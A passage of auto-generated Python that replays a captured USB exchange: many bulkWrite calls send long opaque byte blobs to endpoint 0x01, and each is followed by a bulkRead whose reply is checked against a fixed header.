b\"\\xEA\\xB2\\x45\\xF8\\xD4\\x13\\xB6\\x03\\x03\\x75\\x48\\x69\\x25\\x04\\xED\\x65\"\n b\"\\x69\\x58\\x2F\\xFE\\x88\\x5D\\x74\\x3A\\x64\\x7B\\xE8\\x98\\xC8\\x1D\\x1B\\x89\"\n b\"\\x20\\x68\\x0D\\xEB\\xEF\\x3F\\x9E\\xEB\\xD4\\xF5\\x6F\\xC3\")\n # Generated from packet 1763/1764\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1763/1764\")\n # Generated from packet 1765/1766\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBF\\x59\\x85\\xEA\\x84\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF9\\x2B\\xF1\\x3C\\xD3\\x3A\\x97\\x98\"\n b\"\\x14\\x98\\x17\\x5E\\x28\\x6C\\xBE\\x55\\x34\\xCA\\x6A\\xFE\\xA0\\xE1\\x33\\x2B\"\n b\"\\x1B\\xF8\\x5D\\xC0\\x0C\\x1F\\x95\\x4E\\x97\\xBA\\xE5\\x5E\\x86\\xB6\\x7E\\xBE\"\n b\"\\x80\\x52\\xD0\\x9B\\x35\\x07\\x11\\x73\\x5F\\xC4\\x73\\x9C\\x36\\x88\\xF6\\x2B\"\n b\"\\x7C\\x24\\xCD\\x96\\x6A\\x14\\x47\\x93\\xFB\\x10\\xCB\\x48\\x8A\\x56\\xD0\\xD5\"\n b\"\\x52\\x71\\xC6\\x8D\\x28\\x10\\xC0\\xE9\\x77\\x72\\xCC\\x38\\x24\\x0A\\x8B\\x35\"\n b\"\\xAD\\x68\\x78\\x87\\xFE\\xB9\\x6D\\xD0\\x56\\x0F\\x11\\x41\\x42\\x00\\x13\\x07\"\n b\"\\x04\\xA2\\x48\\xC8\\xF9\\x8F\\xD7\\x2F\\x12\\x4A\\xF6\\x0F\\x6C\\x05\\x96\\xE9\"\n b\"\\xA3\\x3D\\x5F\\x46\\x8E\\x2E\\xDF\\xFF\\x98\\x0B\\x6D\\x04\\xE9\\x93\\x41\\x0E\"\n b\"\\x9D\\x93\\xB0\\x5E\\x7C\\x30\\xD3\\x9A\\x00\\x2A\\x28\\xF8\\xDF\\x7A\\x8F\\xA3\"\n b\"\\xDC\\xF8\\x3C\\x25\\x46\\x5C\\x42\\x35\\x93\\xCB\\xAD\\x82\\xD6\\xC0\\xEC\\x10\"\n b\"\\x4B\\x5E\\xF5\\x5B\\x7F\\x87\\xE3\\x27\\xCB\\x07\\x61\\xB1\\x09\\x92\\xD9\\x7F\"\n b\"\\x55\\xB7\\x6C\\x43\\xBB\\xCF\\x42\\x18\\x9B\\x9A\\x31\\x78\\xD2\\xAD\\x5A\\x84\"\n b\"\\xC8\\xCC\\x4E\\xE9\\x3E\\x81\\x02\\xAC\\x6E\\x71\\x64\\x27\\xA6\\x24\\xE4\\x5F\"\n b\"\\x3C\\x39\\xC1\\x7E\\x06\\x3B\\x3B\\xAC\\xAD\\x49\\x28\\x3B\\xE0\\xE5\\x4E\\x40\"\n b\"\\x9F\\x19\\xC4\\x6B\\x60\\x92\\x59\\xA1\\xA4\\xDD\\xCF\\x84\\x64\\xD0\\x2C\\x16\"\n b\"\\x5C\\x7F\\xD4\\xF7\\x15\\x4A\\xAD\\x93\\x3E\\x8C\\x16\\xE5\")\n # Generated from packet 1767/1768\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1767/1768\")\n # Generated from packet 1769/1770\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x65\\x2C\\x7C\\x6F\\x0F\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF8\\x5F\\x34\\xB5\\xAA\\x41\\xC6\\x26\"\n b\"\\x91\\x41\\x9C\\x38\\x3E\\x6F\\x4F\\x1E\\xD1\\xE9\\x86\\xEC\\x1D\\xC8\\x93\\xD3\"\n b\"\\x56\\x90\\x88\\xE7\\xBD\\x60\\x60\\xE2\\x90\\x39\\x23\\x8A\\x53\\xAD\\x63\\x82\"\n b\"\\x4D\\x1B\\xAB\\x52\\x73\\xEA\\x79\\xD6\\xC3\\x7D\\xD1\\x07\\x96\\x50\\xC5\\x9C\"\n b\"\\xF6\\xAC\\x2D\\x15\\xF9\\x8B\\x98\\xE4\\xBD\\x9D\\x6F\\x1F\\x62\\xA8\\x33\\x1E\"\n b\"\\xC8\\x9B\\xF1\\xBC\\xEA\\x2E\\x44\\x92\\xB7\\xA4\\xF7\\x79\\x21\\xC4\\x88\\x12\"\n b\"\\x27\\xB7\\xBB\\x9C\\xBB\\xAF\\x6E\\x99\\x0A\\x33\\xD4\\x90\\x8C\\x87\\xF8\\x81\"\n b\"\\x52\\x30\\xED\\xA1\\x63\\x45\\x95\\x51\\xA7\\x32\\x2F\\xBD\\x9A\\x11\\x04\\xD0\"\n b\"\\xCD\\x05\\x6D\\xAF\\xCA\\x1A\\xBB\\x47\\x8E\\x18\\x4F\\x84\\x25\\x4A\\x93\\x2C\"\n b\"\\xC9\\x75\\x27\\xFA\\x21\\x3E\\x01\\x57\\xF2\\xF5\\xE2\\xE6\\x4B\\x2E\\x26\\x78\"\n b\"\\x85\\x27\\x23\\x5E\\x1D\\x30\\x8C\\x8F\\xF4\\x22\\x87\\xB2\\xDD\\x4E\\x98\\x57\"\n b\"\\x09\\xC2\\x9C\\xD0\\x53\\x23\\xF3\\xC0\\xD0\\x3B\\x2D\\x3B\\x5D\\xDF\\x02\\x41\"\n b\"\\xA7\\xE4\\xC0\\x4B\\xBF\\xC6\\x4C\\x89\\x99\\xFD\\xAA\\x28\\x3C\\x99\\x45\\xCE\"\n b\"\\x68\\xB6\\xFF\\x12\\x98\\x98\\x4E\\x75\\xFA\\x59\\xCE\\x5B\\x18\\x72\\x47\\x13\"\n b\"\\xDE\\x40\\xB3\\x01\\xAD\\x81\\xDA\\xBB\\x5E\\x0A\\xD6\\x3B\\x19\\x22\\x91\\xDA\"\n b\"\\xBD\\x3D\\xF0\\x5A\\x46\\xE6\\x43\\x42\\xD7\\x1A\\x23\\x21\\x3D\\x5C\\x02\\xEE\"\n b\"\\x98\\x46\\x64\\x77\\x33\\x67\\x07\\x49\\x6F\\x9E\\xB2\\xDB\")\n # Generated from packet 1771/1772\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1771/1772\")\n # Generated from packet 1773/1774\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\xB7\\x3D\\xEA\\x14\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB9\\x95\\x49\\x57\\x55\\x7C\\x89\\x2A\"\n b\"\\x8A\\xC2\\x6E\\x95\\x96\\xA1\\x35\\x76\\xCA\\x8B\\xFC\\x7C\\xEB\\xAB\\x1E\\x93\"\n b\"\\xA1\\xC5\\x12\\x0F\\x5F\\x31\\xE0\\x5F\\xAE\\x72\\x51\\x39\\x45\\x69\\xBE\\x66\"\n b\"\\x0C\\xC8\\x12\\xFA\\xF5\\x25\\x2A\\x01\\x63\\xB3\\x5A\\xF5\\x7C\\xC0\\x93\\x3C\"\n b\"\\x03\\xF1\\x62\\x8F\\x7F\\x26\\x0E\\xE4\\xD3\\x32\\xD1\\xDA\\x17\\xEA\\x32\\x8E\"\n b\"\\xBA\\xC3\\xDC\\x78\\xCC\\xDB\\xE5\\xC2\\x40\\x98\\x55\\xFD\\x02\\xB4\\xCF\\x2A\"\n b\"\\x9B\\x39\\x9D\\x80\\xBE\\xF4\\x9C\\xAE\\x40\\xC9\\xD4\\xA7\\x91\\xF7\\x60\\xC6\"\n b\"\\xAB\\x10\\x60\\x25\\x36\\xE2\\xAE\\x9E\\x03\\xE3\\xB3\\x02\\x64\\xB1\\xDC\\x7C\"\n b\"\\xA1\\x8B\\xD6\\x55\\x01\\x3E\\xD9\\x1F\\x8F\\x19\\xFC\\xF3\\x8C\\xA6\\xD8\\xEB\"\n b\"\\xED\\x2C\\x46\\x34\\x9A\\xC2\\xED\\xB0\\xF3\\x4C\\xED\\xCC\\x82\\x6A\\x3A\\xAA\"\n b\"\\xD2\\xC7\\xEA\\x5E\\x7C\\x83\\xAB\\xB6\\x27\\x9C\\xEE\\xFB\\x2C\\x4C\\x8A\\x8E\"\n b\"\\x06\\x57\\x6B\\x1E\\xA8\\x51\\xD7\\x1D\\x58\\x68\\xD9\\xE3\\x23\\x17\\xE4\\x78\"\n b\"\\xAC\\xF4\\x5E\\x07\\xFD\\x8D\\xBC\\x2B\\x8A\\x36\\x66\\x70\\x5C\\xD3\\xB7\\x57\"\n b\"\\x0E\\x16\\x2A\\x88\\x88\\xDC\\xAC\\x55\\xF0\\x32\\xC7\\xC4\\x72\\x47\\x5F\\xD4\"\n b\"\\x94\\x84\\x84\\xE1\\x7C\\xE3\\x8D\\xE2\\x7C\\xD1\\xEA\\xF5\\x1A\\x3D\\xBD\\x27\"\n b\"\\x20\\xB5\\x74\\xD5\\xD5\\x7A\\xCE\\x4A\\x01\\x97\\xDD\\xDC\\x79\\xA3\\x30\\x61\"\n b\"\\xF3\\x98\\x4D\\x18\\x04\\x75\\xC6\\xDD\\x05\\x9D\\x7C\\x2C\")\n # Generated from packet 1775/1776\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1775/1776\")\n # Generated from packet 1777/1778\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\x56\\x93\\xC1\\x05\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x64\\x39\\x86\\x34\\xCA\\x89\\xFF\"\n b\"\\x4E\\x2D\\x8E\\x0F\\x7C\\x03\\xED\\xB5\\x26\\xDA\\x9F\\x5E\\x63\\x9A\\x54\\xA1\"\n b\"\\x96\\x16\\x04\\x4A\\xBA\\x85\\x8E\\x45\\x85\\x01\\x12\\x07\\xA3\\xD9\\x13\\xAA\"\n b\"\\x06\\x5A\\xD2\\x90\\xAB\\x84\\x92\\x81\\x12\\x0D\\xFB\\xC6\\x43\\x87\\xBD\\x62\"\n b\"\\xC5\\xD0\\x2E\\x9C\\x15\\xF4\\x1C\\x8E\\x8A\\xFB\\x18\\x60\\xE4\\xC0\\xCA\\x1D\"\n b\"\\x93\\x76\\xEE\\x81\\xD4\\xBA\\x84\\xE9\\xFE\\xDD\\x84\\xC9\\x76\\xBF\\xC0\\xAF\"\n b\"\\xF7\\x45\\xD3\\xB2\\x4B\\xF2\\xA7\\x88\\xB6\\x98\\x8D\\xDE\\x89\\xFE\\xC6\\xB4\"\n b\"\\xFE\\x2D\\xFB\\x47\\xCF\\x05\\x17\\xC2\\xAA\\xBB\\x07\\xE3\\xD4\\x0B\\x43\\x96\"\n b\"\\xB4\\xE8\\x2E\\x68\\x07\\x3C\\x52\\x41\\x9E\\x41\\xE0\\xDF\\xFD\\x67\\x16\\x27\"\n b\"\\xB1\\xF2\\x28\\x1E\\x48\\x6D\\x4D\\x3B\\x2E\\x8B\\x1B\\x9C\\x90\\x0D\\x6D\\x78\"\n b\"\\x5B\\x1A\\x95\\xDC\\x07\\x1C\\xDD\\x41\\x2E\\xB1\\xBC\\x1E\\xA8\\x2E\\x3C\\xCB\"\n b\"\\x60\\x09\\x9D\\xF4\\x44\\xDB\\x6C\\xEE\\xCE\\x5C\\xA5\\xB6\\x94\\x1D\\x2D\\xA3\"\n b\"\\x40\\x8B\\xC1\\xE1\\x2D\\x83\\x22\\xCB\\xE7\\x57\\x78\\x8E\\xD3\\x17\\x59\\x79\"\n b\"\\xE4\\xB0\\x18\\xB7\\x4F\\x64\\x79\\xFD\\xEE\\x0B\\x1D\\xFC\\xAD\\x17\\x24\\x05\"\n b\"\\x81\\x19\\x0E\\x30\\x46\\x5E\\xFC\\x5C\\x25\\x77\\x48\\xED\\x16\\x3B\\xC8\\xE7\"\n b\"\\xF0\\xB4\\x21\\x4A\\xAF\\xF8\\x9F\\xAB\\x2F\\x96\\x5C\\x93\\xA3\\x62\\xD7\\xB9\"\n b\"\\x9C\\x00\\xE9\\x43\\xD4\\x11\\x73\\x1A\\x38\\x9D\\x04\\x4B\")\n # Generated from packet 1779/1780\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1779/1780\")\n # Generated from packet 1781/1782\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x56\\x03\\x3A\\x77\\x65\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x6C\\x3F\\x03\\xF4\\xAD\\xF3\\x47\"\n b\"\\x81\\x8D\\x6A\\xC8\\x4D\\xD7\\xE6\\x9D\\x4E\\xEB\\xD7\\x96\\x27\\xCA\\xAC\\x80\"\n b\"\\xD6\\x78\\xAB\\x7F\\x94\\xA1\\x6F\\x7D\\xFF\\x25\\x16\\x47\\x9C\\x66\\xA7\\xB2\"\n b\"\\xA8\\x8B\\x4B\\x5B\\xAD\\xA9\\x09\\x3D\\x9C\\xED\\x4C\\x6A\\xD8\\x36\\x65\\x9A\"\n b\"\\xDF\\xA0\\x20\\x47\\x54\\x49\\x56\\x97\\xD6\\x4F\\x4A\\x2B\\x3F\\x09\\xB7\\x15\"\n b\"\\xD9\\xF8\\x88\\x8E\\x80\\xEC\\x55\\x16\\x2B\\x6D\\x62\\x08\\x4F\\x09\\xE4\\x49\"\n b\"\\xB0\\x67\\x32\\xCB\\x4A\\xDF\\x26\\x2A\\xFF\\x60\\xB5\\x1C\\xD1\\xB0\\xD4\\x17\"\n b\"\\xE4\\xB1\\xAE\\x0D\\x1F\\x8D\\x3F\\x94\\x35\\xE5\\xE4\\x0F\\x93\\xB4\\xFA\\x74\"\n b\"\\x4C\\xEB\\x88\\x4F\\x32\\x15\\x42\\x7D\\x0C\\xCE\\x34\\x2D\\xDA\\x1C\\x47\\xBA\"\n b\"\\x56\\x7A\\xE9\\x3F\\xEE\\xBD\\x68\\x3B\\x7D\\x62\\x6A\\x92\\x2E\\xE8\\x3D\\xBF\"\n b\"\\x46\\x32\\x15\\xB0\\xE9\\x17\\x7C\\x4B\\xE3\\x27\\x7B\\xC4\\x7C\\x25\\x7E\\xB3\"\n b\"\\x1E\\x36\\x32\\x9D\\x4F\\x19\\xC4\\xE5\\xEA\\x33\\x59\\x40\\x87\\xD2\\x96\\xD8\"\n b\"\\x84\\xE8\\xB4\\x96\\x10\\x0C\\x54\\xE2\\x06\\xEA\\xBE\\xFD\\x80\\x4A\\xE4\\x66\"\n b\"\\x6D\\x9A\\x25\\x94\\xD2\\xFE\\x89\\xEA\\xFD\\xD3\\xA1\\xDF\\x7D\\xCC\\x47\\x01\"\n b\"\\x27\\xF4\\x23\\x95\\x7E\\xC5\\x79\\x6C\\xCA\\x8D\\x29\\xB0\\x81\\x98\\x4A\\x36\"\n b\"\\x16\\xA3\\x02\\xDC\\x61\\xE1\\xC6\\x06\\x3C\\xB6\\x5D\\x4E\\x58\\xA8\\x7C\\xEF\"\n b\"\\xA8\\x2A\\xA7\\xFE\\xD0\\x89\\xE1\\x66\\x43\\xD1\\xE0\\x5C\")\n # Generated from packet 1783/1784\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1783/1784\")\n # Generated from packet 1785/1786\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3A\\xE7\\xDE\\x82\\x1B\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\x25\\x87\\xC9\\xEA\\x6B\\x19\\x52\"\n b\"\\xB2\\xBA\\xE2\\x18\\x03\\xE8\\x25\\x4F\\x6F\\xEC\\x27\\x62\\xF6\\x5E\\x76\\x15\"\n b\"\\x4C\\x92\\x79\\x33\\x67\\xE1\\xAE\\x64\\x5D\\x3B\\xA5\\x97\\x9C\\x62\\xB2\\x77\"\n b\"\\x02\\xC4\\xB3\\x5D\\xDA\\xA9\\x65\\xFA\\x24\\xF2\\x4A\\xFB\\x58\\xF8\\xE6\\x85\"\n b\"\\x2F\\x23\\xAA\\xC8\\x07\\x4F\\xF4\\x22\\x1A\\x61\\x20\\x5D\\x97\\x69\\x50\\xD4\"\n b\"\\x29\\x87\\xDE\\x01\\xF1\\xD8\\x90\\xBC\\x89\\x93\\x12\\xF6\\x09\\x2E\\x15\\xB6\"\n b\"\\x00\\x5F\\x61\\xA0\\x19\\x61\\xC6\\x29\\xA3\\x7C\\x4C\\x8B\\x43\\xC6\\xBD\\x6E\"\n b\"\\xBF\\x5B\\x5F\\xBC\\x86\\xF2\\x4B\\xBB\\x6E\\x95\\x9F\\xF6\\xB4\\x23\\x2F\\x3C\"\n b\"\\xEC\\x5F\\x24\\x4D\\xCD\\xEA\\x1A\\x16\\x85\\x17\\xFC\\x54\\xAB\\x94\\xBF\\x77\"\n b\"\\xAB\\xD6\\xAA\\x4F\\xD1\\x45\\x91\\xF2\\x6C\\xA9\\x8D\\x4F\\xBF\\xD7\\xBE\\x2B\"\n b\"\\x50\\x8B\\xD7\\xA1\\x51\\xCD\\x3B\\x4B\\xF5\\xE0\\x43\\xBA\\xFB\\xCC\\x16\\x68\"\n b\"\\xFA\\xE4\\xDD\\xEC\\xC1\\x74\\x7A\\xBF\\x6C\\xE3\\xCA\\x40\\x56\\xED\\x99\\x4E\"\n b\"\\xF6\\x12\\x8A\\x1C\\x24\\xA1\\xD0\\xF0\\x8B\\xFD\\x8D\\xC2\\x45\\x08\\x62\\xCE\"\n b\"\\xAB\\x06\\x4E\\x07\\x95\\x42\\x24\\x0E\\x4E\\x43\\xA9\\xF0\\xAD\\xBC\\x55\\xC9\"\n b\"\\x42\\x69\\x1F\\x77\\x19\\x0F\\x07\\x27\\x0A\\x1D\\x40\\x14\\x64\\x2E\\x21\\xB2\"\n b\"\\xC7\\x1E\\x0E\\x18\\xE7\\xA1\\x22\\x32\\xDC\\x23\\xB2\\x1C\\xE3\\xAA\\x33\\xB0\"\n b\"\\xB9\\x55\\xD1\\x15\\xDA\\xED\\x88\\xBF\\x12\\xBB\\xD4\\x4D\")\n # Generated from packet 1787/1788\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1787/1788\")\n # Generated from packet 1789/1790\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x14\\x4B\\xC4\\x82\\x28\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7F\\xAA\\x14\\xA6\\x6D\\x09\\x3C\\xAD\"\n b\"\\x73\\xA9\\xBC\\x3F\\xEA\\x0D\\x91\\x04\\xC8\\x88\\xAF\\x25\\x33\\xDA\\xE1\\x6E\"\n b\"\\xF1\\x17\\x58\\x75\\x27\\x55\\x1E\\x06\\x47\\x9F\\xAB\\x99\\xDE\\x3A\\xDF\\x3A\"\n b\"\\xD8\\x98\\xFE\\x76\\x9E\\x73\\x34\\x7D\\x34\\xE0\\x80\\xE8\\xFA\\xBF\\xFD\\xB3\"\n b\"\\x3B\\x97\\x66\\xBB\\x4D\\xC3\\x8D\\x46\\x83\\x91\\xCE\\x75\\xBD\\x81\\x3B\\xF9\"\n b\"\\xE2\\xBF\\x8B\\x90\\x73\\xDD\\xE7\\xF8\\x08\\x4D\\xBF\\x3A\\x16\\x61\\xCA\\xCA\"\n b\"\\xE5\\x62\\xA3\\xE9\\x04\\xDB\\xC5\\xC6\\xC1\\x52\\x59\\x8D\\x4E\\x29\\xD7\\x71\"\n b\"\\x87\\xC7\\xC0\\x26\\x39\\x9D\\x2E\\x11\\xDA\\xB9\\xEB\\x41\\x21\\x06\\xAF\\xCE\"\n b\"\\x33\\x1E\\x4C\\x2F\\xFE\\xAA\\xDF\\x0A\\xD7\\xDC\\x98\\x78\\xE6\\x97\\x7F\\x20\"\n b\"\\xEE\\xC9\\xB1\\x40\\xB4\\x57\\x28\\x29\\x17\\xB6\\xCA\\xA4\\x6A\\x9A\\xE8\\x92\"\n b\"\\xD0\\x4C\\x2C\\x22\\x1E\\x87\\x94\\xE9\\x4E\\x6B\\xB5\\x53\\xB7\\x18\\x59\\x22\"\n b\"\\x03\\x3A\\xD9\\x9F\\x01\\xA9\\x43\\x81\\x6B\\x3E\\x03\\xD1\\xFD\\x1E\\xFA\\xEF\"\n b\"\\xC9\\xBD\\x93\\x91\\x03\\x96\\x32\\xA7\\xA0\\x5F\\x0E\\xD2\\xAB\\xDD\\xC3\\xE3\"\n b\"\\xC2\\xA9\\xF6\\xC8\\x9E\\x71\\x71\\x86\\x93\\xC8\\x4F\\x22\\xC5\\x63\\x5F\\x2D\"\n b\"\\xF1\\x07\\x85\\xC9\\xF5\\xC4\\x66\\x99\\x45\\x6D\\xD0\\xFA\\xF2\\x8E\\x61\\xA1\"\n b\"\\xC7\\x86\\x39\\xC0\\x43\\x37\\xAC\\x32\\x7F\\xB7\\xA4\\x17\\x75\\x4A\\x4D\\x62\"\n b\"\\xD0\\x39\\xB2\\xBB\\xF5\\x28\\x35\\xF9\\xD0\\xB2\\xC2\\x47\")\n # Generated from packet 1791/1792\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1791/1792\")\n # Generated from packet 1793/1794\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD3\\xAC\\x47\\xB6\\x61\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEF\\x61\\xEA\\xF6\\xC0\\xC6\\x37\\xB3\"\n b\"\\xE8\\xEF\\x4C\\x47\\x23\\x36\\x02\\x1B\\x33\\x5A\\x65\\x70\\xE3\\xB2\\x82\\x51\"\n b\"\\xE4\\xCF\\x4D\\x80\\x55\\x51\\xC9\\x92\\xF1\\xCA\\x0E\\xFE\\x79\\x9F\\x2D\\xFA\"\n b\"\\x46\\x6C\\x95\\x04\\x40\\xE0\\xAA\\x99\\x99\\xE5\\x8C\\x5E\\xFE\\xA4\\x55\\xFF\"\n b\"\\xAE\\x18\\x76\\xA8\\xC3\\x3C\\x9D\\x20\\xCD\\x18\\xFE\\xC3\\xC4\\x07\\x4B\\x1D\"\n b\"\\xA7\\x48\\x00\\xB6\\x3C\\x6C\\x31\\x90\\x4F\\x60\\x96\\x7C\\x0D\\x8C\\xF2\\x46\"\n b\"\\xEB\\x37\\x30\\x15\\x1C\\x81\\xD2\\x3D\\x2E\\x18\\xB6\\x03\\xBE\\x87\\x7E\\xCE\"\n b\"\\xBD\\x2C\\x1D\\x13\\x0E\\x9C\\x38\\xC5\\x94\\x5C\\xB1\\x7A\\x27\\xA1\\x5D\\x6C\"\n b\"\\x70\\xE8\\x12\\x30\\x42\\xA2\\xFA\\x5A\\x4D\\x09\\xFC\\xEC\\x16\\x97\\x21\\x02\"\n b\"\\x8F\\x81\\xF3\\x03\\xA8\\xFA\\xCA\\x36\\x97\\xB8\\x33\\x65\\xB9\\x27\\x61\\x2F\"\n b\"\\x50\\x13\\x3C\\xF0\\xC7\\xCE\\x24\\x40\\x06\\x97\\x88\\x83\\x22\\x62\\x16\\x61\"\n b\"\\xAF\\x51\\xC1\\x7B\\xA0\\x50\\xA5\\x2A\\x26\\xF3\\xE4\\x5D\\x23\\x06\\x26\\x68\"\n b\"\\xFC\\xBA\\x24\\x09\\x4D\\x9E\\x46\\xE9\\xAF\\xDF\\x6C\\x24\\x3D\\x88\\x36\\x27\"\n b\"\\x1C\\x37\\xA3\\x74\\x5F\\xD4\\xA9\\x71\\xE0\\xE1\\xF8\\x70\\x7D\\x2B\\x3C\\x3F\"\n b\"\\xEB\\x0C\\xFC\\x30\\xFA\\xFB\\xD4\\xE6\\xDE\\xF2\\x1C\\x51\\xFB\\xA3\\x3E\\xAE\"\n b\"\\x17\\xF0\\xFC\\x6E\\x6C\\x88\\x77\\x88\\xB4\\x77\\x34\\x74\\xCD\\xBF\\x6B\\x8A\"\n b\"\\xC7\\x34\\x31\\x37\\x26\\x02\\xC4\\x00\\x6B\\x9D\\xB3\\xE9\")\n # Generated from packet 1795/1796\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1795/1796\")\n # Generated from packet 1797/1798\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x02\\xD8\\xCC\\xE7\\xC9\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\xCD\\x8A\\xA4\\xB6\\x3A\\x3A\\x2F\"\n b\"\\xD0\\xDB\\x74\\x79\\xB2\\xF9\\xCB\\x82\\x38\\x02\\x5F\\x17\\x3B\\xD5\\x5C\\x56\"\n b\"\\x26\\x83\\xA9\\xC7\\x7A\\xE2\\xDA\\x80\\x05\\x2E\\x1A\\x11\\x3D\\x1E\\x8F\\xF3\"\n b\"\\x0D\\xAC\\x82\\x8A\\xCB\\x39\\x4E\\x70\\x6B\\x05\\x37\\x0D\\x87\\xA1\\xB9\\x2F\"\n b\"\\xCF\\x0C\\xE7\\xD2\\xAE\\x31\\x53\\xB0\\x79\\x98\\xCE\\x67\\xE5\\x70\\x74\\x12\"\n b\"\\x81\\x2A\\x14\\x1D\\xBB\\xF9\\x65\\xFF\\x20\\x50\\xA0\\x60\\xC7\\x7A\\xB6\\x79\"\n b\"\\x5F\\x14\\x9C\\x0B\\x46\\x9A\\x6E\\xB3\\x10\\xF1\\x85\\x60\\xB0\\x31\\x05\\x1F\"\n b\"\\x5D\\x51\\xBD\\xAA\\xBC\\xEC\\xDB\\x46\\x84\\x06\\xB4\\x62\\x33\\xBE\\xCE\\xFC\"\n b\"\\x5B\\x60\\xD4\\x96\\xB2\\x41\\xB6\\xE9\\x43\\x93\\x66\\xDB\\xF3\\xD2\\x22\\xD3\"\n b\"\\x82\\xCC\\x54\\x8F\\x29\\x21\\xA7\\xA2\\xBC\\x00\\x88\\x53\\x65\\x30\\xE6\\x85\"\n b\"\\x75\\x04\\x6C\\xE0\\x4D\\xFF\\xC4\\xAA\\x50\\xF3\\xBB\\xE5\\xE6\\x42\\x58\\xE5\"\n b\"\\xDD\\x85\\x1C\\x23\\x76\\x8A\\x13\\x92\\xFD\\xF9\\xCC\\xE6\\x6D\\x27\\x6F\\x9F\"\n b\"\\x68\\xD7\\xF1\\x0C\\xC1\\x22\\xC6\\x21\\xA4\\xEC\\x32\\xDB\\xFF\\x5C\\xE7\\x22\"\n b\"\\x37\\xF9\\x1F\\x70\\xB0\\xAB\\x3B\\x59\\x49\\xC3\\x87\\x18\\xFC\\xF2\\x26\\x7C\"\n b\"\\xB2\\x26\\xE4\\x0D\\xCA\\x32\\xF3\\x38\\x6A\\xC1\\x56\\xE4\\xBC\\x66\\x5C\\x23\"\n b\"\\xDD\\x38\\x35\\xED\\x17\\x75\\x01\\xF2\\x36\\xE9\\x8B\\x65\\x27\\x9D\\xC3\\x31\"\n b\"\\xBE\\x0B\\x83\\x4D\\xD2\\x3B\\xA4\\xE7\\xEC\\x0F\\x93\\xBA\")\n # Generated from packet 1799/1800\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1799/1800\")\n # Generated from packet 1801/1802\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2E\\x9D\\x93\\xC6\\xC5\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x33\\x6A\\x5B\\xFE\\x91\\xD5\\xC0\\xF0\"\n b\"\\x3F\\x9D\\x26\\xBF\\xE1\\xB6\\x7F\\xEE\\xCB\\xB2\\xDD\\xC3\\xA2\\x9A\\xC6\\x6A\"\n b\"\\xDC\\x29\\xED\\x16\\x37\\xA8\\x7F\\x0D\\xC5\\xCF\\xA5\\x12\\x24\\x4F\\xC7\\xE4\"\n b\"\\xDD\\x66\\xDD\\x32\\x88\\x01\\x08\\x16\\x54\\xA6\\xCD\\x1B\\x75\\x65\\x30\\xC0\"\n b\"\\x9B\\x65\\x1B\\x04\\x22\\xFA\\xFC\\x83\\x10\\x99\\x2B\\x87\\xE5\\x63\\x75\\xBA\"\n b\"\\x97\\x55\\x2C\\xDF\\xD4\\x7C\\xCE\\x08\\xB5\\x4D\\x06\\xBC\\x50\\x48\\x6D\\x7A\"\n b\"\\x39\\x54\\xF6\\xF0\\xA7\\xBB\\x9C\\x24\\xAA\\x86\\x25\\x66\\x06\\x9C\\x8A\\x53\"\n b\"\\xA8\\x3A\\xF9\\xF6\\xA0\\x45\\x94\\x54\\x7D\\x91\\x13\\x2A\\xEE\\xD5\\x87\\x9B\"\n 